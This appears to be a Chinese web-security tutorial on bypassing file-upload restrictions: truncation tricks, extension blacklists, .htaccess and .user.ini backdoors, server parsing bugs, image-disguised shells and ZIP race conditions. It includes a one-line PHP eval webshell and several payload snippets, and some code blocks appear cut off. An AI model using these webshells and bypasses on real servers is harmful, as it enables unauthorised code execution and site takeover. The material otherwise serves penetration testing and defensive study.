文件上传
1. 基础
PHP文件上传通常使用 move_uploaded_file 方法配合 $_FILES 变量实现
1 |
|
1.1 小马
- 小马通常指一句话木马,就是一句简单的代码
- 其主要是为了绕过waf的检测
- 主要通过GET、POST、COOKIE三种方式提交数据
- 用 $_GET[]、$_POST[]、$_COOKIE[]接收数据,并把接收到的数据传递给一句话木马中执行命令的函数,进而执行命令
1 | PHP: <?php @eval($_POST['cmd']); ?> |
1.2 大马
代码量较大,功能丰富。每个团队都有自己定制的大马
2. 客户端绕过
一般都是在网页上写一段javascript脚本,校验上传文件的后缀名是否合法,有白名单和黑名单两种形式
- 删除浏览器事件
- 利用Burpsuit抓包修改文件后缀名
- 构造上传表单
3. 截断绕过
3.1 00截断
截断条件:PHP版本小于5.3.4、magic_quotes_gpc 为OFF状态;Java中,jdk7u40以下版本存在00截断问题
C语言中, “\0” 是字符串的结束符,如果用户能够传入 “\0” ,就能实现00截断
00截断的场景为:后端先获取用户上传的文件名(如 x.php\00.jpg),再根据文件名获得实际后缀为jpg。通过后缀白名单校验后,在实际保存文件时发生截断,使得最终保存的文件为 x.php。
注意:PHP在使用 $_FILES 实现文件上传时并不存在00截断问题,这是由于PHP的底层语言为C语言,在注册 $_FILES 全局变量时已经产生了截断。(如上传文件名为 x.php\00.jpg 的文件,而注册到 $_FILES 全局变量值为 x.php)
3.2 转换字符集造成的截断
截断条件:PHP版本小于5.4
虽然PHP的 $_FILES 文件上传不存在00截断问题,不过在文件名进行字符集转换的场景下也可能出现截断绕过。
PHP在实现字符集转换时通常使用 iconv() 函数,UTF-8在单字节时允许的字符范围为 0x00-0x7F ,如果转换的字符不在该范围内,则会造成 PHP_ICONV_ERR_ILLEGAL_SEQ 异常,低版本PHP在这个异常后不再处理后面字符,因此造成截断问题
1 | $filename = @iconv("utf-8","GBK",$filename); |
适用场景为:现在后端获取上传的文件后缀,经过后缀白名单判断后,如果有对文件名进行字符集转换操作,那么可能造成截断问题(如上传 x.php\x99.jpg ,最终保存的文件名为 x.php)
可以使用burpsuit来对可以利用的字符进行测试
此部分方法应用链接:Metinfo6 Arbitrary File Upload Via Iconv Truncate
4. 黑名单绕过
PHP常见的可执行后缀:php3、php5、phtml、pht、php1、php2等
ASP常见的可执行后缀:cdx、cer、asa、aspx等
JSP常见的可执行后缀:jspx、jspf等
4.1 Windows系统特性
1 | filename="1.php." // windows会对文件中的点进行自动去除 |
1 | filename="1.php::$DATA" |
1 | filename="1.php " // 空格绕过 |
Windows环境下,文件名不区分大小写,而 in_array 区分大小写,所以可以尝试大小写后缀名绕过
1 | if(in_array($ext, array('php', 'asp', 'jsp'))){ |
4.2 上传 .htaccess 绕过黑名单
.htaccess 文件是Apace服务器中的一个配置文件的默认名称(可以在Apache主配置文件中通过 AccessFileName 指令修改其名称)。
Apache主配置文件中通过 AllowOverride 指令配置 .htaccess 文件中可以覆盖主配置文件中的那些指令。在低于2.3.8版本中, AllowOverride 指令默认为All,在2.3.9及更高版本中默认为None。
在低于2.3.8版本中,可以尝试先上传 .htaccess 文件修改部分配置,使用 SetHandler 指令使PHP解析指定文件
1 | <FilesMatch "shell"> |
上面这段代码的意思是,一个文件名只要包含“shell”这个字符串的任意文件,就调用php的解析器来解析
1 | <Files "Shell.txt"> |
1 | SetHandler application/x-httpd-php .jpg |
mac 上传页面显示隐藏文件:
shift
+command
+.
4.3 上传 .user.ini 绕过黑名单
PHP 5.3.0 起支持每个目录的INI文件配置,此类文件仅被 CGI/FastCGI SAPI 处理,只要是以 fastcgi 运行的 php 都可以用这个方法,nginx 和 iis 下都可以。默认文件名为 .user.ini
因此,利用 .user.ini 中的两个配置选项可以构造后门
1 | auto_prepend_file = 1.php # 是在文件前插入 |
这两个选项的作用是,在 php 文件加载前,提前加载一个文件,如同
require
函数
于是,可以往 .user.ini 中写入如下内容并上传:
1 | auto_prepend_file=shell.png |
利用条件:
- 在 user.ini 中设置 auto_prepend_file=a.gif
- 在 a.gif 中写入一句话木马
- 在当前目录下还有一个 php 文件,如 index.php
如果这三个条件在同一个目录下面,就会出先问题,这里就相当于在 index.php 中写了
include "a.gif"
, 可以进行文件包含,导致的后果是:当我们对目录中的 index.php 进行访问的时候,会调用 .usre.ini 中的文件把 a.gif 文件以 php 的形式进行读取,造成 userini 的漏洞
4.4 Apache CVE-2017-15715漏洞
在HTTPD 2.4.0到2.4.29版本中, FilesMatch 指令正则中 “$” 能够匹配到换行符,可能导致黑名单绕过
1 | <FilesMatch \.php$> |
以上Apache配置,原意是为了只解析以 .php 结尾的文件,但由于该漏洞导致 .php\n 结尾的文件也能被解析,因此绕过黑名单。
不过在 PHP $_FILES 上传的过程中, $_FILES[‘name’] 会清除 “\n” 字符导致不能利用,但是 file_put_contents 实现上传的方法可以利用。代码如下
1 |
|
上面的测试代码中可以通过上传 x.php\n 来进行黑名单绕过
5. 白名单绕过
通常来说,白名单绕过需要借助Web服务器的各解析漏洞或ImageMagick等组件漏洞
5.1 Web服务器解析漏洞
5.1.1 IIS解析漏洞
- 目录解析
IIS 6中存在目录解析漏洞: “*.asp” 文件夹下的所有文件都会被当作asp脚本进行解析
- 文件解析
IIS 5.x - 6.x 中存在文件解析漏洞:服务器默认不解析 “;” 后面的内容。例如文件名为 “xx.asp;a.jpg” 的文件会被解析成ASP文件,而上传 “xx.asp;a.jpg” 可以通过白名单的校验。
5.1.2 Nginx解析漏洞
Nginx的解析漏洞是由于配置不当造成的问题,在Nginx未配置 try_files 且 FPM 未设置 security.limit_extensions 的场景下,可能出现解析漏洞。Nginx的配置如下:
1 | location ~ \.php { |
先上传 x.jpg ,再访问 x.jpg/1.php ,location为 .php 结尾,会交给FPM处理,此时 $fastcgi_script_name 的值为 x.jpg/1.php ;在PHP开启 cgi.fix_pathinfo 配置时, x.jpg/1.php 文件不存在,开始 fallback 去掉最右边的 “/“ 及其后续内容,继续判断 x.jpg 是否存在;这时若存在,则会用PHP处理该文件
5.2 Apache解析漏洞
5.2.1 多后缀文件解析漏洞
Apache中,单个文件支持拥有多个后缀,如果多个后缀都存在对应的 handler 或 media-type ,那么对应的 handler 会处理当前文件。
如果在Apache的conf中有这样的配置
1 | Addhandler php5-script .php |
那么即使文件名是 xxx.php.jpg 也会以php来执行
1 | AddType application/x-httpd-php .php |
在上面的Apache的配置下,当使用 AddType 时,多后缀文件会从最右后缀开始识别,如果后缀不存在 MIME type 或 Handler ,则会继续往左识别后缀,直到后缀有对应的 MIME type 或 Handler 。如 test.php.qwe.asd.sdf
6. 文件禁止访问绕过
测试中遇到一些允许任意上传的功能,在访问上传的脚本文件时发现并不能被解析或访问,通常是在Web服务器中配置上传目录下的脚本文件禁止访问。在上传目录下的文件无法被访问时,最好的绕过办法肯定是进行目录穿越上传到根目录,如尝试上传 ../x.php 等类似文件。
这种方法对 $_FILES 上传是不能实现的,原因在于,PHP在注册 $_FILES[‘name’] 时调用 _basename() 方法处理了文件名,它会获得最后一个 “/“ 或 “\“ 后面的字符,所以上传 ../x.php 并不能实现目录穿越,因为在经过 _basename() 后注册到 $_FILES[‘name’] 的值为 x.php
6.1 .htaccess 禁止脚本文件执行绕过
在低于9.22版本的 jQuery-File-Upload 在自带的上传脚本 (server/php/index.php) 中,验证上传文件
6.2 配合文件包含绕过
在PHP文件包含中,程序一般会限制包含的文件后缀只能为 “.php” 或其它特定后缀。在00截断越来越罕见的今天,如果上传目录脚本文件无法被访问或不被解析,那么可以上传一个PHP文件配合文件包含实现解析。
1 | //page.php |
1 | //x.php |
1 | http://localhost/asd/page.php?page=upload/x |
7. 绕过图片验证实现代码执行
7.1 文件相关信息检测
7.1.1 getimagesize绕过
getimagesize 函数用来测定任何图像文件的大小并返回图像的尺寸以及文件类型,如果文件不是一张有效的图像文件,则返回FALSE并产生一条E_WARNING级错误。
getimagesize 的绕过比较简单,只要将PHP代码添加到图片内容后就能成功绕过。
7.1.2 文件幻数检测
检测文件内容开始处的文件幻数
要绕过文件幻数检测就要在文件开头写下面的值
1 | FF D8 FF E0 00 10 4A 46 49 46 //jpg |
然后在幻数后加上自己的一句话代码就可以了
1 | //shell.php |
7.1.3 图片马绕过
1 | copy 1.jpg/b+1.php/a 2.jpg # /b 指定以二进制格式复制、合并文件,用于图像、声音类文件;/a 指定以ASCII格式复制、合并文件,用于txt等文档类文件 |
上传图片马无法直接利用,需要配合文件解析或文件包含漏洞
7.1.4 绕过 <?
php
绕过 <?
可以使用下面语句绕过
1 | <script language="php"> |
绕过 php
可以使用下面语句绕过
1 | eval($_POST['cmd']);= @ |
7.2 imagecreatefromjpeg绕过
imagecreatefromjpeg 方法会渲染图像生成新的图像,在图像中注入脚本代码经过渲染后,脚本代码会消失
该方法也有了成熟的绕过脚本:jpg_payload
绕过需要先上传正常图片文件,再下载回渲染后的图片,运行 jpg_payload.php 处理下载回来的图片,将代码注入图片中,然后上传新生成的图片,这样经过 imagecreatefromjpeg 后注入的脚本代码依然存在
8. file_put_contents 文件上传
8.1 绕过黑名单
在file_put_contents 方法中,在文件名可控的情况下,能够实现目录穿越
如下面的代码出现在Nginx+PHP环境中
1 |
|
file_put_contents 的文件名为 “yu.php/.” 时,能够正常写入php文件,并且代码获取的后缀为空字符串,可以绕过黑名单。
这是因为在该方法中,如果路径以 ‘/.’ 结尾,就会截断掉 ‘/.’ 字符,处理成正常的路径。这种方法只能于创建新文件,不能用于覆盖文件。
8.2 死亡之die绕过
很多网站会把Log或缓存直接写入PHP文件,为了防止日志或缓存文件执行代码,会在文件开头加入 ****。如下代码:
1 |
|
上面代码中,用户可以完全控制 filename,包括协议,所以这里可以使用一些字符串过滤器来把 exit() 处理掉,从而让后面写入的代码能够被执行,可以使用 base64_decode 来进行处理。
PHP的 base64_decode 方法默认为非严格模式,只有当字符为 +、/、0-9、a-z、A-Z 时被解码,其余字符都会被跳过。 除去被跳过的字符,剩余 phpexit ,在base64解码时每4字节为一组,所以需要再填充1字节,最终被解码为乱码,从而让后面的代码能够被正常执行
1 | curl http://localhost/upload.php -- data "filename=php://filter/write=convert.base64-decode/resource=x.php&content=xPD9waHAgZWNobyAiSGVsbG8gV29ybGQiOz8+" |
9. ZIP上传的问题
9.1 未递归检测上传目录导致绕过
为了解决解压文件带来的安全问题,很多程序会在解压完ZIP后,检测上传目录下是否存在脚本文件,如果存在,就删除。
如下面的代码,在解压完成后,会通过readdir获取上传目录下的所有文件、目录,如果发现后缀不是jpg、gif、png的文件,就会删除。
1 |
|
但上述代码仅仅检测了上传目录,没有递归检测上传目录下的所有目录,所以如果解压出一个目录,那么目录下的文件不会被检测到。
unlink 到一个目录时,仅会抛出一个 warning 。当然,也可以把压缩包内的目录命名为 x.jpg ,这样子会直接跳过unlink,连warning都不会抛出
9.2 条件竞争导致绕过
在上传的代码中,如果递归检测了上传目录下的所有目录,这种场景可以通过条件竞争的方式绕过,即在文件被删除前访问文件,生成另一个脚本文件到非上传目录中。通过不断上传文件与访问文件,在文件被删除前访问到文件,最终生成脚本到其他目录中实现绕过。
1 |
|
9.3 解压产生异常退出实现绕过
ZipArchive 对象中的 extractTo 方法在解压失败时会返回false
可以构造出一种解压到一半然后解压失败的ZIP包。(利用010 Editor修改生成的ZIP包,将x.php后的内容修改为0xff然后保存生成的新ZIP文件)
由于解压失败,在 check_dir 方法前执行了 exit,已解压的脚本文件就不会被删除